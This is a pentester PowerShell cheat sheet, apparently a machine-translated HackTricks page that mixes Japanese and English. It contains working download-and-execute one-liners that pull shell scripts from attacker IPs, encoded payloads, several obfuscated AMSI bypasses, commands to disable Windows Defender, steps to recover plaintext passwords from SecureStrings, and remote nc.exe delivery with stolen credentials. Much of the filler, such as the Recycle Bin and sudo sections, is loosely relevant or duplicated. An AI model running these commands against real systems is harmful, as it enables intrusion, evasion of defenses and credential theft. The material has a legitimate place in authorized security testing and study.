.. | ||
powerview.md | ||
README.md |
ペンテスターのための基本的なPowerShell
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
デフォルトのPowerShellの場所
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
基本的なPSコマンドの開始
PowerShell(PS)は、Windowsシステムで使用される強力なスクリプト言語およびコマンドラインシェルです。Pentesterとして、PSを使用して効果的なハッキングテクニックを実行するために、いくつかの基本的なコマンドを知っておくことが重要です。
以下は、Pentesterが始めるための基本的なPSコマンドです。
1. Get-Process
このコマンドは、実行中のプロセスの一覧を表示します。Pentesterは、潜在的な脆弱性を持つプロセスを特定するために使用することができます。
Get-Process
2. Get-Service
このコマンドは、実行中のサービスの一覧を表示します。Pentesterは、悪意のあるサービスを特定するために使用することができます。
Get-Service
3. Get-NetAdapter
このコマンドは、ネットワークアダプターの情報を表示します。Pentesterは、ネットワーク接続に関する情報を収集するために使用することができます。
Get-NetAdapter
4. Get-NetFirewallRule
このコマンドは、ファイアウォールルールの一覧を表示します。Pentesterは、ファイアウォールの設定を調査するために使用することができます。
Get-NetFirewallRule
5. Get-EventLog
このコマンドは、イベントログのエントリを表示します。Pentesterは、セキュリティインシデントを特定するために使用することができます。
Get-EventLog -LogName Security
これらの基本的なPSコマンドを使用することで、PentesterはWindowsシステムの調査を開始することができます。
Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>
ダウンロードと実行
powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://example.com/malicious.ps1')"
このコマンドは、PowerShellを使用してリモートのスクリプトをダウンロードして実行する方法です。
powershell -c
:PowerShellをコマンドラインモードで実行します。IEX
:Invoke-Expressionの略で、PowerShellスクリプトを実行するためのコマンドレットです。(New-Object Net.WebClient).DownloadString('http://example.com/malicious.ps1')
:Net.WebClient
オブジェクトを作成し、指定したURLからスクリプトをダウンロードします。
このコマンドを実行すると、指定したURLからスクリプトがダウンロードされ、そのスクリプトが実行されます。注意が必要なのは、信頼できるソースからのみスクリプトをダウンロードすることです。
g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
AMSIバイパスを使用してバックグラウンドでダウンロード&実行
This technique allows you to download and execute a file in the background while bypassing AMSI (Antimalware Scan Interface).
PowerShellコード
$URL = "http://example.com/file.exe"
$Output = "$env:TEMP\file.exe"
# ファイルをダウンロード
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile($URL, $Output)
# ダウンロードしたファイルを実行
Start-Process -FilePath $Output -WindowStyle Hidden
このコードは、指定したURLからファイルをダウンロードし、ダウンロードしたファイルをバックグラウンドで実行します。ファイルは一時ディレクトリに保存されます。
AMSIバイパスの実行
# AMSIバイパスを有効化
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# ダウンロード&実行コードを実行
$URL = "http://example.com/file.exe"
$Output = "$env:TEMP\file.exe"
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile($URL, $Output)
Start-Process -FilePath $Output -WindowStyle Hidden
このコードは、AMSIバイパスを有効化してから、ダウンロード&実行コードを実行します。AMSIバイパスにより、ファイルのダウンロードと実行が監視されずに実行されます。
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="
Linuxでb64を使用する
Linuxでは、base64
コマンドを使用してファイルをBase64形式にエンコードおよびデコードすることができます。
- ファイルをBase64形式にエンコードする場合:
base64 <file> > <output_file>
- Base64形式のファイルをデコードする場合:
base64 -d <file> > <output_file>
<file>
はエンコードまたはデコードするファイルのパスを指定し、<output_file>
は結果を保存するファイルのパスを指定します。
例えば、file.txt
をBase64形式にエンコードする場合は、次のコマンドを使用します:
base64 file.txt > encoded.txt
同様に、encoded.txt
をデコードする場合は、次のコマンドを使用します:
base64 -d encoded.txt > decoded.txt
これにより、Linuxでb64を使用してファイルをエンコードおよびデコードすることができます。
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>
ダウンロード
System.Net.WebClient
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest
Invoke-WebRequest
は、PowerShellのコマンドレットであり、WebサーバーにHTTPリクエストを送信するために使用されます。このコマンドレットは、Webページの内容を取得したり、ファイルをダウンロードしたりするために使用されます。
以下は、Invoke-WebRequest
コマンドレットの使用例です。
Invoke-WebRequest -Uri "https://example.com"
この例では、https://example.com
に対してHTTPリクエストが送信されます。レスポンスは、PowerShellオブジェクトとして返されます。
Invoke-WebRequest
コマンドレットには、さまざまなオプションがあります。たとえば、-Method
オプションを使用して、HTTPメソッドを指定することができます。デフォルトでは、GET
メソッドが使用されますが、POST
やPUT
などの他のメソッドも指定できます。
また、-Headers
オプションを使用して、HTTPヘッダーを指定することもできます。これにより、カスタムのヘッダーをリクエストに追加することができます。
Invoke-WebRequest
コマンドレットは、ペンテストやセキュリティ調査の際に非常に便利です。Webアプリケーションの脆弱性をテストしたり、Webサーバーから情報を収集したりするために使用することができます。
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
Wget
Wget is a command-line utility that allows you to retrieve files from the web using HTTP, HTTPS, and FTP protocols. It is commonly used for downloading files, mirroring websites, and recursive downloading.
Basic Usage
To download a file using Wget, you can use the following command:
wget [URL]
Replace [URL]
with the actual URL of the file you want to download.
By default, Wget will save the downloaded file in the current directory with the same name as the remote file. If you want to specify a different name for the downloaded file, you can use the -O
option followed by the desired file name:
wget -O [output-file] [URL]
Replace [output-file]
with the name you want to give to the downloaded file.
Downloading Multiple Files
Wget also allows you to download multiple files at once. You can provide a list of URLs in a text file and use the -i
option to specify the file containing the URLs:
wget -i [file-with-urls]
Replace [file-with-urls]
with the path to the text file containing the URLs.
Recursive Downloading
One of the powerful features of Wget is its ability to perform recursive downloading. This means that it can download not only the specified file but also all the files linked to it.
To enable recursive downloading, you can use the -r
option:
wget -r [URL]
This will download the specified file and all the files linked to it, creating a local mirror of the website.
Conclusion
Wget is a versatile command-line tool for downloading files from the web. It provides various options for customizing the download process, such as specifying output file names and performing recursive downloads.
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
BitsTransfer
BitsTransferは、PowerShellのモジュールであり、ファイルのダウンロードやアップロードを簡単に行うための便利なツールです。BitsTransferを使用すると、高速で信頼性の高いファイル転送が可能です。
BitsTransferを使用するには、まずImport-Module BitsTransfer
コマンドを実行してモジュールをインポートします。次に、Start-BitsTransfer
コマンドを使用してファイルの転送を開始します。
以下は、BitsTransferを使用してファイルをダウンロードする例です。
Import-Module BitsTransfer
Start-BitsTransfer -Source "http://example.com/file.txt" -Destination "C:\Downloads\file.txt"
上記の例では、http://example.com/file.txt
からC:\Downloads\file.txt
にファイルをダウンロードしています。
BitsTransferは、ファイルのダウンロードやアップロードに便利なオプションを提供しています。例えば、-Priority
オプションを使用して転送の優先度を設定したり、-ProxyUsage
オプションを使用してプロキシを経由して転送を行ったりすることができます。
BitsTransferは、便利なツールであり、PowerShellを使用したファイル転送を簡単に行うためのオプションを提供しています。
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
Base64 Kali & EncodedCommand
In this section, we will discuss the usage of Base64 encoding in Kali Linux and the EncodedCommand parameter in PowerShell.
Base64 Encoding in Kali Linux
Base64 encoding is a technique used to encode binary data into ASCII characters. In Kali Linux, you can use the base64
command-line tool to encode and decode data using Base64.
To encode a file using Base64, you can use the following command:
base64 <file> > <output_file>
To decode a file encoded with Base64, you can use the following command:
base64 -d <file> > <output_file>
EncodedCommand Parameter in PowerShell
The EncodedCommand parameter in PowerShell allows you to run a command that is Base64-encoded. This can be useful in scenarios where you want to execute a command without it being easily visible in plain text.
To use the EncodedCommand parameter, you need to encode your PowerShell command using Base64. You can do this using the [System.Convert]::ToBase64String()
method in PowerShell.
Here is an example of how to use the EncodedCommand parameter:
powershell.exe -EncodedCommand <Base64_encoded_command>
Replace <Base64_encoded_command>
with the Base64-encoded version of your PowerShell command.
Keep in mind that using the EncodedCommand parameter can help obfuscate your commands, but it is not foolproof. Advanced attackers can still decode and analyze the encoded commands.
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>
実行ポリシー
制約言語
AppLockerポリシー
WinRMの有効化 (リモートPS)
enable-psremoting -force #This enables winrm
# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator
Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}
Defenderの無効化
{% code overflow="wrap" %}
# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)
# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0
{% endcode %}
AMSIバイパス
amsi.dll
は、アプリケーションが相互作用するために必要なエクスポートを持ち、プロセスにロードされます。そして、それがプロセスのメモリ空間にロードされているため、メモリ内の命令を上書きすることで動作を変更することができます。これにより、何も検出しないようにすることができます。
したがって、AMSIバイパスの目的は、そのDLLの命令をメモリ内で上書きして検出を無効化することです。
AMSIバイパスジェネレーターのウェブページ: https://amsi.fail/
# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)
# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)
# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/
# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass
# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html
AMSIバイパス2 - マネージドAPI呼び出しフック
詳細な情報については、この投稿を参照してください およびコード](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/)。
この新しい技術は、.NETメソッドのAPI呼び出しフックに依存しています。実際、.NETメソッドはメモリ内でネイティブなマシン命令にコンパイルされる必要があり、ネイティブなメソッドと非常に似た形になります。これらのコンパイルされたメソッドは、プログラムの制御フローを変更するためにフックすることができます。
.NETメソッドのAPI呼び出しフックを実行する手順は次のとおりです。
- フックする対象メソッドを特定する
- ターゲットと同じ関数プロトタイプを持つメソッドを定義する
- メソッドを見つけるためにリフレクションを使用する
- 各メソッドがコンパイルされていることを確認する
- 各メソッドのメモリ上の位置を見つける
- 悪意のあるメソッドを指す命令にターゲットメソッドを上書きする
PS-History
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
権限の取得
To get the permissions of a file or directory in PowerShell, you can use the Get-Acl
cmdlet. This cmdlet retrieves the access control list (ACL) for the specified object.
Get-Acl -Path C:\path\to\file.txt
This command will display the permissions associated with the file.txt file, including the user or group, the access level (e.g., Read, Write, Execute), and any special permissions.
You can also use the Get-Acl
cmdlet with the Format-List
cmdlet to display the permissions in a more detailed format.
Get-Acl -Path C:\path\to\file.txt | Format-List
This command will provide additional information, such as the owner of the file, the access control entries (ACEs), and the inheritance settings.
By understanding the permissions assigned to a file or directory, you can assess the level of access and potential vulnerabilities that may exist. This information can be valuable during a penetration test or security assessment.
Get-Acl -Path "C:\Program Files\Vuln Services" | fl
OSのバージョンとHotFixes
Windowsのバージョンと適用されているHotFixes(ホットフィックス)を確認するために、次のコマンドを使用します。
Get-WmiObject -Class Win32_OperatingSystem | Select-Object Caption, CSDVersion, OSArchitecture, Version, BuildNumber
このコマンドは、Windowsのバージョン、Service Packのバージョン、OSのアーキテクチャ、ビルド番号を表示します。
また、HotFixes(ホットフィックス)の情報を取得するためには、次のコマンドを使用します。
Get-HotFix
このコマンドは、適用されているHotFixes(ホットフィックス)の一覧を表示します。
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
環境
The following tools and configurations are recommended for executing the PowerShell commands and scripts mentioned in this guide:
このガイドで言及されているPowerShellのコマンドとスクリプトを実行するために、以下のツールと設定が推奨されています。
-
Windows operating system (preferably Windows 10 or later)
-
PowerShell version 5.1 or later
-
Administrative privileges (for certain commands)
-
Internet access (for downloading additional modules or scripts)
-
Windowsオペレーティングシステム(可能ならWindows 10以降)
-
PowerShellバージョン5.1以降
-
管理者特権(一部のコマンドに必要)
-
インターネットアクセス(追加のモジュールやスクリプトのダウンロードに必要)
Execution Policy
Before running any PowerShell scripts, it is important to check and set the execution policy. The execution policy determines whether PowerShell scripts can be run on a system. To check the current execution policy, open a PowerShell session and run the following command:
Get-ExecutionPolicy
To set the execution policy to allow running scripts, run the following command with administrative privileges:
Set-ExecutionPolicy RemoteSigned
スクリプトを実行する前に、実行ポリシーを確認して設定することが重要です。実行ポリシーは、PowerShellスクリプトがシステム上で実行できるかどうかを決定します。現在の実行ポリシーを確認するには、PowerShellセッションを開き、次のコマンドを実行します。
Get-ExecutionPolicy
スクリプトの実行を許可するために、管理者特権で次のコマンドを実行します。
Set-ExecutionPolicy RemoteSigned
PowerShell Profiles
PowerShell profiles allow you to customize and configure your PowerShell environment. There are different types of profiles that are loaded automatically when PowerShell starts. To view the profiles, run the following command:
$PROFILE | Format-List * -Force
To create or edit a profile, you can use the following commands:
notepad $PROFILE
ise $PROFILE
PowerShellプロファイルを使用すると、PowerShell環境をカスタマイズおよび設定することができます。PowerShellが起動すると自動的に読み込まれる異なるタイプのプロファイルがあります。プロファイルを表示するには、次のコマンドを実行します。
$PROFILE | Format-List * -Force
プロファイルを作成または編集するには、次のコマンドを使用できます。
notepad $PROFILE
ise $PROFILE
Get-ChildItem Env: | ft Key,Value #get all values
$env:UserName @Get UserName value
他の接続されたドライブ
In this section, we will discuss how to identify and access other connected drives using PowerShell.
このセクションでは、PowerShellを使用して他の接続されたドライブを特定し、アクセスする方法について説明します。
List all drives
すべてのドライブをリストする
To list all the drives connected to the system, you can use the Get-PSDrive
cmdlet.
システムに接続されているすべてのドライブをリストするには、Get-PSDrive
コマンドレットを使用します。
Get-PSDrive
This command will display a list of all the drives along with their names, types, and root paths.
このコマンドは、すべてのドライブの名前、タイプ、およびルートパスを含むリストを表示します。
Accessing a specific drive
特定のドライブへのアクセス
To access a specific drive, you can use the drive letter followed by a colon (:
) as the path.
特定のドライブにアクセスするには、ドライブレターに続けてコロン(:
)をパスとして使用します。
cd D:
This command will change the current location to the root of the D drive.
このコマンドは、現在の場所をDドライブのルートに変更します。
Accessing a network drive
ネットワークドライブへのアクセス
To access a network drive, you can use the UNC path (\\server\share
) as the path.
ネットワークドライブにアクセスするには、UNCパス(\\server\share
)をパスとして使用します。
cd \\server\share
This command will change the current location to the root of the network drive.
このコマンドは、現在の場所をネットワークドライブのルートに変更します。
Conclusion
結論
By using PowerShell, you can easily list and access other connected drives on a Windows system. This can be useful for navigating through different drives and performing various operations.
PowerShellを使用することで、Windowsシステム上の他の接続されたドライブを簡単にリストし、アクセスすることができます。これは、異なるドライブをナビゲートし、さまざまな操作を実行するために役立ちます。
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
リサイクル ビン
The Recycle Bin is a special folder in Windows that stores deleted files and folders. When a file or folder is deleted, it is not immediately removed from the system. Instead, it is moved to the Recycle Bin, where it can be restored if needed.
The Recycle Bin provides a safety net for users, allowing them to recover accidentally deleted files. It is especially useful in cases where important files are deleted by mistake or when files are deleted and later found to be needed again.
To access the Recycle Bin, simply double-click on its icon on the desktop. This will open a window displaying all the files and folders that have been deleted. From here, you can select the files or folders you want to restore and click on the "Restore" button to move them back to their original location.
It is important to note that the Recycle Bin has a limited storage capacity. Once it reaches its maximum size, older files will be automatically deleted to make room for new ones. Therefore, it is recommended to regularly empty the Recycle Bin to free up disk space.
In summary, the Recycle Bin is a useful feature in Windows that allows users to recover deleted files and folders. It serves as a safety net, providing a second chance to retrieve important data that was accidentally deleted.
$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()
https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/
ドメインの偵察
{% content-ref url="powerview.md" %} powerview.md {% endcontent-ref %}
ユーザー
Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name
セキュアな文字列から平文へ
Sometimes during a penetration test, you may come across a secure string that needs to be converted to plaintext for further analysis. In PowerShell, you can use the ConvertFrom-SecureString
cmdlet to achieve this.
以下のように、ペネトレーションテスト中に、さらなる分析のためにセキュアな文字列を平文に変換する必要がある場合があります。PowerShellでは、ConvertFrom-SecureString
コマンドレットを使用することで、これを実現することができます。
$secureString = ConvertTo-SecureString -String "MySecurePassword" -AsPlainText -Force
$plainText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))
In the above example, we first create a secure string using the ConvertTo-SecureString
cmdlet. We pass the desired plaintext password as a parameter and use the -AsPlainText
and -Force
flags to ensure the conversion.
上記の例では、まずConvertTo-SecureString
コマンドレットを使用してセキュアな文字列を作成します。パラメータとして望む平文のパスワードを渡し、変換を確実にするために-AsPlainText
と-Force
フラグを使用します。
Next, we use the [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR()
method to convert the secure string to a BSTR (Basic String) representation. Finally, we use the [System.Runtime.InteropServices.Marshal]::PtrToStringAuto()
method to convert the BSTR representation to plaintext.
次に、[System.Runtime.InteropServices.Marshal]::SecureStringToBSTR()
メソッドを使用して、セキュアな文字列をBSTR(Basic String)表現に変換します。最後に、[System.Runtime.InteropServices.Marshal]::PtrToStringAuto()
メソッドを使用して、BSTR表現を平文に変換します。
Keep in mind that this method should only be used for legitimate purposes and with proper authorization.
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
または、XMLから直接解析する方法もあります。
$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
SUDO
SUDOは、Linuxシステムで特権ユーザーとしてコマンドを実行するためのツールです。通常、rootユーザーの権限を持たないユーザーが特定のコマンドを実行する必要がある場合に使用されます。
SUDOの設定は、/etc/sudoersファイルで管理されます。このファイルには、どのユーザーがどのコマンドを実行できるかの設定が含まれています。
SUDOを使用すると、特権ユーザーの権限を持たないユーザーが、必要なタスクを実行するために一時的に特権を取得できます。ただし、SUDOの設定には注意が必要であり、不適切な設定はセキュリティ上のリスクとなります。
以下は、SUDOの基本的な使用方法です。
SUDOのインストール
SUDOは通常、Linuxディストリビューションにデフォルトでインストールされています。もしインストールされていない場合は、パッケージマネージャーを使用してインストールすることができます。
SUDOの設定
SUDOの設定は、/etc/sudoersファイルで行われます。このファイルはrootユーザーのみが編集できるため、編集する際はroot権限が必要です。
以下のコマンドを使用して、/etc/sudoersファイルを編集します。
sudo visudo
このコマンドを実行すると、デフォルトのテキストエディタが起動し、/etc/sudoersファイルが開かれます。
ユーザーのSUDO権限の追加
ユーザーにSUDO権限を追加するには、以下のように/etc/sudoersファイルにエントリを追加します。
ユーザー名 ALL=(ALL) ALL
上記のエントリでは、ユーザー名にSUDO権限を与えています。ALL=(ALL) ALLの部分は、ユーザーがどのホストでどのユーザーに対してどのコマンドを実行できるかを指定しています。
SUDOを使用してコマンドを実行する
SUDOを使用してコマンドを実行するには、以下のようにコマンドの前にsudoを付けます。
sudo コマンド
例えば、root権限が必要なコマンドを実行する場合は、以下のようにします。
sudo apt-get update
SUDOのパスワードの要求
デフォルトでは、SUDOを使用する際にはユーザーのパスワードが要求されます。パスワードの要求を省略するには、以下のように/etc/sudoersファイルを編集します。
ユーザー名 ALL=(ALL) NOPASSWD: ALL
上記のエントリでは、ユーザー名に対してパスワードの要求を省略しています。NOPASSWD: ALLの部分がパスワードの要求を省略する設定です。
SUDOのログの確認
SUDOを使用したコマンドのログは、/var/log/auth.logファイルに記録されます。このログを確認することで、SUDOの使用履歴を追跡することができます。
sudo cat /var/log/auth.log
以上がSUDOの基本的な使用方法です。SUDOを適切に設定し、セキュリティ上のリスクを最小限に抑えましょう。
#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)
#For local:
Start-Process -Credential ($cred) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"
#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'
#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
グループ
